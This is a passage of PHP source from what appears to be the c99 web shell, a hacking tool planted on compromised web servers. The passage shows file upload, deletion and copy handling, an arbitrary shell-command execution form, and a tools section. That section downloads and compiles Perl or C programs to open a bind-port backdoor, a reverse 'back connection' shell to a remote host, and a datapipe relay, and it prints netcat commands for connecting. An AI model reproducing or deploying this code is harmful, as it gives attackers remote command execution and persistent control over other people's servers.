1773 | Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br> |
---|
1774 | Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> |
---|
1775 | Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> |
---|
1776 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> |
---|
1777 | <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br> |
---|
1778 | <input type=submit name=submit value=\"Upload\"> |
---|
1779 | </form>"; |
---|
1780 | } |
---|
1781 | } |
---|
1782 | if ($act == "delete") |
---|
1783 | { |
---|
1784 | $delerr = ""; |
---|
1785 | foreach ($actbox as $v) |
---|
1786 | { |
---|
1787 | $result = FALSE; |
---|
1788 | $result = fs_rmobj($v); |
---|
1789 | if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} |
---|
1790 | } |
---|
1791 | if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} |
---|
1792 | $act = "ls"; |
---|
1793 | } |
---|
1794 | if (!$usefsbuff) |
---|
1795 | { |
---|
1796 | if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} |
---|
1797 | } |
---|
1798 | else |
---|
1799 | { |
---|
1800 | if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } |
---|
1801 | elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} |
---|
1802 | elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} |
---|
1803 | if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} |
---|
1804 | elseif ($actpastebuff) |
---|
1805 | { |
---|
1806 | $psterr = ""; |
---|
1807 | foreach($sess_data["copy"] as $k=>$v) |
---|
1808 | { |
---|
1809 | $to = $d.basename($v); |
---|
1810 | if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} |
---|
1811 | if ($copy_unset) {unset($sess_data["copy"][$k]);} |
---|
1812 | } |
---|
1813 | foreach($sess_data["cut"] as $k=>$v) |
---|
1814 | { |
---|
1815 | $to = $d.basename($v); |
---|
1816 | if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} |
---|
1817 | unset($sess_data["cut"][$k]); |
---|
1818 | } |
---|
1819 | c99_sess_put($sess_data); |
---|
1820 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} |
---|
1821 | $act = "ls"; |
---|
1822 | } |
---|
1823 | elseif ($actarcbuff) |
---|
1824 | { |
---|
1825 | $arcerr = ""; |
---|
1826 | if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} |
---|
1827 | else {$ext = ".tar.gz";} |
---|
1828 | if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} |
---|
1829 | $cmdline .= " ".$actarcbuff_path; |
---|
1830 | $objects = array_merge($sess_data["copy"],$sess_data["cut"]); |
---|
1831 | foreach($objects as $v) |
---|
1832 | { |
---|
1833 | $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); |
---|
1834 | if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} |
---|
1835 | if (is_dir($v)) |
---|
1836 | { |
---|
1837 | if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} |
---|
1838 | $v .= "*"; |
---|
1839 | } |
---|
1840 | $cmdline .= " ".$v; |
---|
1841 | } |
---|
1842 | $tmp = realpath("."); |
---|
1843 | chdir($d); |
---|
1844 | $ret = myshellexec($cmdline); |
---|
1845 | chdir($tmp); |
---|
1846 | if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} |
---|
1847 | $ret = str_replace("\r\n","\n",$ret); |
---|
1848 | $ret = explode("\n",$ret); |
---|
1849 | if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} |
---|
1850 | foreach($sess_data["cut"] as $k=>$v) |
---|
1851 | { |
---|
1852 | if (in_array($v,$ret)) {fs_rmobj($v);} |
---|
1853 | unset($sess_data["cut"][$k]); |
---|
1854 | } |
---|
1855 | c99_sess_put($sess_data); |
---|
1856 | if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} |
---|
1857 | $act = "ls"; |
---|
1858 | } |
---|
1859 | elseif ($actpastebuff) |
---|
1860 | { |
---|
1861 | $psterr = ""; |
---|
1862 | foreach($sess_data["copy"] as $k=>$v) |
---|
1863 | { |
---|
1864 | $to = $d.basename($v); |
---|
1865 | if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} |
---|
1866 | if ($copy_unset) {unset($sess_data["copy"][$k]);} |
---|
1867 | } |
---|
1868 | foreach($sess_data["cut"] as $k=>$v) |
---|
1869 | { |
---|
1870 | $to = $d.basename($v); |
---|
1871 | if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} |
---|
1872 | unset($sess_data["cut"][$k]); |
---|
1873 | } |
---|
1874 | c99_sess_put($sess_data); |
---|
1875 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} |
---|
1876 | $act = "ls"; |
---|
1877 | } |
---|
1878 | } |
---|
1879 | if ($act == "cmd") |
---|
1880 | { |
---|
1881 | if (trim($cmd) == "ps -aux") {$act = "processes";} |
---|
1882 | elseif (trim($cmd) == "tasklist") {$act = "processes";} |
---|
1883 | else |
---|
1884 | { |
---|
1885 | @chdir($chdir); |
---|
1886 | if (!empty($submit)) |
---|
1887 | { |
---|
1888 | echo "<b>Result of execution this command</b>:<br>"; |
---|
1889 | $olddir = realpath("."); |
---|
1890 | @chdir($d); |
---|
1891 | $ret = myshellexec($cmd); |
---|
1892 | $ret = convert_cyr_string($ret,"d","w"); |
---|
1893 | if ($cmd_txt) |
---|
1894 | { |
---|
1895 | $rows = count(explode("\r\n",$ret))+1; |
---|
1896 | if ($rows < 10) {$rows = 10;} |
---|
1897 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
---|
1898 | } |
---|
1899 | else {echo $ret."<br>";} |
---|
1900 | @chdir($olddir); |
---|
1901 | } |
---|
1902 | else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} |
---|
1903 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; |
---|
1904 | } |
---|
1905 | } |
---|
1906 | if ($act == "ls") |
---|
1907 | { |
---|
1908 | if (count($ls_arr) > 0) {$list = $ls_arr;} |
---|
1909 | else |
---|
1910 | { |
---|
1911 | $list = array(); |
---|
1912 | if ($h = @opendir($d)) |
---|
1913 | { |
---|
1914 | while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} |
---|
1915 | closedir($h); |
---|
1916 | } |
---|
1917 | else {} |
---|
1918 | } |
---|
1919 | if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} |
---|
1920 | else |
---|
1921 | { |
---|
1922 | //Building array |
---|
1923 | $objects = array(); |
---|
1924 | $vd = "f"; //Viewing mode |
---|
1925 | if ($vd == "f") |
---|
1926 | { |
---|
1927 | $objects["head"] = array(); |
---|
1928 | $objects["folders"] = array(); |
---|
1929 | $objects["links"] = array(); |
---|
1930 | $objects["files"] = array(); |
---|
1931 | foreach ($list as $v) |
---|
1932 | { |
---|
1933 | $o = basename($v); |
---|
1934 | $row = array(); |
---|
1935 | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} |
---|
1936 | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} |
---|
1937 | elseif (is_dir($v)) |
---|
1938 | { |
---|
1939 | if (is_link($v)) {$type = "LINK";} |
---|
1940 | else {$type = "DIR";} |
---|
1941 | $row[] = $v; |
---|
1942 | $row[] = $type; |
---|
1943 | } |
---|
1944 | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} |
---|
1945 | $row[] = filemtime($v); |
---|
1946 | if (!$win) |
---|
1947 | { |
---|
1948 | $ow = posix_getpwuid(fileowner($v)); |
---|
1949 | $gr = posix_getgrgid(filegroup($v)); |
---|
1950 | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); |
---|
1951 | } |
---|
1952 | $row[] = fileperms($v); |
---|
1953 | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} |
---|
1954 | elseif (is_link($v)) {$objects["links"][] = $row;} |
---|
1955 | elseif (is_dir($v)) {$objects["folders"][] = $row;} |
---|
1956 | elseif (is_file($v)) {$objects["files"][] = $row;} |
---|
1957 | $i++; |
---|
1958 | } |
---|
1959 | $row = array(); |
---|
1960 | $row[] = "<b>Name</b>"; |
---|
1961 | $row[] = "<b>Size</b>"; |
---|
1962 | $row[] = "<b>Modify</b>"; |
---|
1963 | if (!$win) |
---|
1964 | {$row[] = "<b>Owner/Group</b>";} |
---|
1965 | $row[] = "<b>Perms</b>"; |
---|
1966 | $row[] = "<b>Action</b>"; |
---|
1967 | $parsesort = parsesort($sort); |
---|
1968 | $sort = $parsesort[0].$parsesort[1]; |
---|
1969 | $k = $parsesort[0]; |
---|
1970 | if ($parsesort[1] != "a") {$parsesort[1] = "d";} |
---|
1971 | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; |
---|
1972 | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; |
---|
1973 | $row[$k] .= $y; |
---|
1974 | for($i=0;$i<count($row)-1;$i++) |
---|
1975 | { |
---|
1976 | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} |
---|
1977 | } |
---|
1978 | $v = $parsesort[0]; |
---|
1979 | usort($objects["folders"], "tabsort"); |
---|
1980 | usort($objects["links"], "tabsort"); |
---|
1981 | usort($objects["files"], "tabsort"); |
---|
1982 | if ($parsesort[1] == "d") |
---|
1983 | { |
---|
1984 | $objects["folders"] = array_reverse($objects["folders"]); |
---|
1985 | $objects["files"] = array_reverse($objects["files"]); |
---|
1986 | } |
---|
1987 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); |
---|
1988 | $tab = array(); |
---|
1989 | $tab["cols"] = array($row); |
---|
1990 | $tab["head"] = array(); |
---|
1991 | $tab["folders"] = array(); |
---|
1992 | $tab["links"] = array(); |
---|
1993 | $tab["files"] = array(); |
---|
1994 | $i = 0; |
---|
1995 | foreach ($objects as $a) |
---|
1996 | { |
---|
1997 | $v = $a[0]; |
---|
1998 | $o = basename($v); |
---|
1999 | $dir = dirname($v); |
---|
2000 | if ($disp_fullpath) {$disppath = $v;} |
---|
2001 | else {$disppath = $o;} |
---|
2002 | $disppath = str2mini($disppath,60); |
---|
2003 | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} |
---|
2004 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} |
---|
2005 | foreach ($regxp_highlight as $r) |
---|
2006 | { |
---|
2007 | if (ereg($r[0],$o)) |
---|
2008 | { |
---|
2009 | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} |
---|
2010 | else |
---|
2011 | { |
---|
2012 | $r[1] = round($r[1]); |
---|
2013 | $isdir = is_dir($v); |
---|
2014 | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) |
---|
2015 | { |
---|
2016 | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} |
---|
2017 | $disppath = $r[2].$disppath.$r[3]; |
---|
2018 | if ($r[4]) {break;} |
---|
2019 | } |
---|
2020 | } |
---|
2021 | } |
---|
2022 | } |
---|
2023 | $uo = urlencode($o); |
---|
2024 | $ud = urlencode($dir); |
---|
2025 | $uv = urlencode($v); |
---|
2026 | $row = array(); |
---|
2027 | if ($o == ".") |
---|
2028 | { |
---|
2029 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
---|
2030 | $row[] = "LINK"; |
---|
2031 | } |
---|
2032 | elseif ($o == "..") |
---|
2033 | { |
---|
2034 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
---|
2035 | $row[] = "LINK"; |
---|
2036 | } |
---|
2037 | elseif (is_dir($v)) |
---|
2038 | { |
---|
2039 | if (is_link($v)) |
---|
2040 | { |
---|
2041 | $disppath .= " => ".readlink($v); |
---|
2042 | $type = "LINK"; |
---|
2043 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
---|
2044 | } |
---|
2045 | else |
---|
2046 | { |
---|
2047 | $type = "DIR"; |
---|
2048 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
---|
2049 | } |
---|
2050 | $row[] = $type; |
---|
2051 | } |
---|
2052 | elseif(is_file($v)) |
---|
2053 | { |
---|
2054 | $ext = explode(".",$o); |
---|
2055 | $c = count($ext)-1; |
---|
2056 | $ext = $ext[$c]; |
---|
2057 | $ext = strtolower($ext); |
---|
2058 | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; |
---|
2059 | $row[] = view_size($a[1]); |
---|
2060 | } |
---|
2061 | $row[] = date("d.m.Y H:i:s",$a[2]); |
---|
2062 | if (!$win) {$row[] = $a[3];} |
---|
2063 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; |
---|
2064 | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} |
---|
2065 | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} |
---|
2066 | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} |
---|
2067 | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} |
---|
2068 | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} |
---|
2069 | elseif (is_link($v)) {$tab["links"][] = $row;} |
---|
2070 | elseif (is_dir($v)) {$tab["folders"][] = $row;} |
---|
2071 | elseif (is_file($v)) {$tab["files"][] = $row;} |
---|
2072 | $i++; |
---|
2073 | } |
---|
2074 | } |
---|
2075 | // Compiling table |
---|
2076 | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); |
---|
2077 | echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; |
---|
2078 | foreach($table as $row) |
---|
2079 | { |
---|
2080 | echo "<tr>\r\n"; |
---|
2081 | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} |
---|
2082 | echo "</tr>\r\n"; |
---|
2083 | } |
---|
2084 | echo "</table><hr size=\"1\" noshade><p align=\"right\"> |
---|
2085 | <script> |
---|
2086 | function ls_setcheckboxall(status) |
---|
2087 | { |
---|
2088 | var id = 1; |
---|
2089 | var num = ".(count($table)-2)."; |
---|
2090 | while (id <= num) |
---|
2091 | { |
---|
2092 | document.getElementById('actbox'+id).checked = status; |
---|
2093 | id++; |
---|
2094 | } |
---|
2095 | } |
---|
2096 | function ls_reverse_all() |
---|
2097 | { |
---|
2098 | var id = 1; |
---|
2099 | var num = ".(count($table)-2)."; |
---|
2100 | while (id <= num) |
---|
2101 | { |
---|
2102 | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; |
---|
2103 | id++; |
---|
2104 | } |
---|
2105 | } |
---|
2106 | </script> |
---|
2107 | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> |
---|
2108 | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; |
---|
2109 | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) |
---|
2110 | { |
---|
2111 | echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> "; |
---|
2112 | } |
---|
2113 | echo "<select name=act><option value=\"".$act."\">With selected:</option>"; |
---|
2114 | echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; |
---|
2115 | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; |
---|
2116 | if ($usefsbuff) |
---|
2117 | { |
---|
2118 | echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; |
---|
2119 | echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; |
---|
2120 | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; |
---|
2121 | } |
---|
2122 | echo "</select> <input type=submit value=\"Confirm\"></p>"; |
---|
2123 | echo "</form>"; |
---|
2124 | } |
---|
2125 | } |
---|
2126 | if ($act == "tools") |
---|
2127 | { |
---|
2128 | $bndportsrcs = array( |
---|
2129 | "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), |
---|
2130 | "c99sh_bindport.c"=>array("Using C","%path %port %pass") |
---|
2131 | ); |
---|
2132 | $bcsrcs = array( |
---|
2133 | "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), |
---|
2134 | "c99sh_backconn.c"=>array("Using C","%path %host %port") |
---|
2135 | ); |
---|
2136 | $dpsrcs = array( |
---|
2137 | "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), |
---|
2138 | "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") |
---|
2139 | ); |
---|
2140 | if (!is_array($bind)) {$bind = array();} |
---|
2141 | if (!is_array($bc)) {$bc = array();} |
---|
2142 | if (!is_array($datapipe)) {$datapipe = array();} |
---|
2143 | |
---|
2144 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} |
---|
2145 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} |
---|
2146 | |
---|
2147 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} |
---|
2148 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} |
---|
2149 | |
---|
2150 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} |
---|
2151 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} |
---|
2152 | if (!empty($bindsubmit)) |
---|
2153 | { |
---|
2154 | echo "<b>Result of binding port:</b><br>"; |
---|
2155 | $v = $bndportsrcs[$bind["src"]]; |
---|
2156 | if (empty($v)) {echo "Unknown file!<br>";} |
---|
2157 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
---|
2158 | else |
---|
2159 | { |
---|
2160 | $w = explode(".",$bind["src"]); |
---|
2161 | $ext = $w[count($w)-1]; |
---|
2162 | unset($w[count($w)-1]); |
---|
2163 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
---|
2164 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
---|
2165 | if ($ext == "pl") {$binpath = $srcpath;} |
---|
2166 | @unlink($srcpath); |
---|
2167 | $fp = fopen($srcpath,"ab+"); |
---|
2168 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
---|
2169 | elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} |
---|
2170 | else |
---|
2171 | { |
---|
2172 | fwrite($fp,$data,strlen($data)); |
---|
2173 | fclose($fp); |
---|
2174 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
---|
2175 | $v[1] = str_replace("%path",$binpath,$v[1]); |
---|
2176 | $v[1] = str_replace("%port",$bind["port"],$v[1]); |
---|
2177 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); |
---|
2178 | $v[1] = str_replace("//","/",$v[1]); |
---|
2179 | $retbind = myshellexec($v[1]." > /dev/null &"); |
---|
2180 | sleep(5); |
---|
2181 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); |
---|
2182 | if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} |
---|
2183 | else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} |
---|
2184 | } |
---|
2185 | echo "<br>"; |
---|
2186 | } |
---|
2187 | } |
---|
2188 | if (!empty($bcsubmit)) |
---|
2189 | { |
---|
2190 | echo "<b>Result of back connection:</b><br>"; |
---|
2191 | $v = $bcsrcs[$bc["src"]]; |
---|
2192 | if (empty($v)) {echo "Unknown file!<br>";} |
---|
2193 | else |
---|
2194 | { |
---|
2195 | $w = explode(".",$bc["src"]); |
---|
2196 | $ext = $w[count($w)-1]; |
---|
2197 | unset($w[count($w)-1]); |
---|
2198 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
---|
2199 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
---|
2200 | if ($ext == "pl") {$binpath = $srcpath;} |
---|
2201 | @unlink($srcpath); |
---|
2202 | $fp = fopen($srcpath,"ab+"); |
---|
2203 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
---|
2204 | elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} |
---|
2205 | else |
---|
2206 | { |
---|
2207 | fwrite($fp,$data,strlen($data)); |
---|
2208 | fclose($fp); |
---|
2209 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
---|
2210 | $v[1] = str_replace("%path",$binpath,$v[1]); |
---|
2211 | $v[1] = str_replace("%host",$bc["host"],$v[1]); |
---|
2212 | $v[1] = str_replace("%port",$bc["port"],$v[1]); |
---|
2213 | $v[1] = str_replace("//","/",$v[1]); |
---|
2214 | $retbind = myshellexec($v[1]." > /dev/null &"); |
---|
2215 | echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; |
---|
2216 | } |
---|
2217 | } |
---|
2218 | } |
---|
2219 | if (!empty($dpsubmit)) |
---|
2220 | { |
---|
2221 | echo "<b>Result of datapipe-running:</b><br>"; |
---|
2222 | $v = $dpsrcs[$datapipe["src"]]; |
---|
2223 | if (empty($v)) {echo "Unknown file!<br>";} |
---|
2224 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
---|
2225 | else |
---|
2226 | { |
---|
2227 | $srcpath = $tmpdir.$datapipe["src"]; |
---|
2228 | $w = explode(".",$datapipe["src"]); |
---|
2229 | $ext = $w[count($w)-1]; |
---|
2230 | unset($w[count($w)-1]); |
---|
2231 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
---|
2232 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
---|
2233 | if ($ext == "pl") {$binpath = $srcpath;} |
---|
2234 | @unlink($srcpath); |
---|
2235 | $fp = fopen($srcpath,"ab+"); |
---|
2236 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
---|
2237 | elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} |
---|
2238 | else |
---|
2239 | { |
---|
2240 | fwrite($fp,$data,strlen($data)); |
---|
2241 | fclose($fp); |
---|
2242 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
---|
2243 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); |
---|
2244 | $v[1] = str_replace("%path",$binpath,$v[1]); |
---|
2245 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); |
---|
2246 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); |
---|
2247 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); |
---|
2248 | $v[1] = str_replace("//","/",$v[1]); |
---|
2249 | $retbind = myshellexec($v[1]." > /dev/null &"); |
---|
2250 | sleep(5); |
---|
2251 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); |
---|
2252 | if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} |
---|
2253 | else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} |
---|
2254 | } |
---|
2255 | echo "<br>"; |
---|
2256 | } |
---|
2257 | } |
---|
2258 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php |
---|
2259 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
---|
2260 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> |
---|
2261 | <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php |
---|
2262 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
---|
2263 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> |
---|
2264 | Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> |
---|
2265 | <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php |
---|
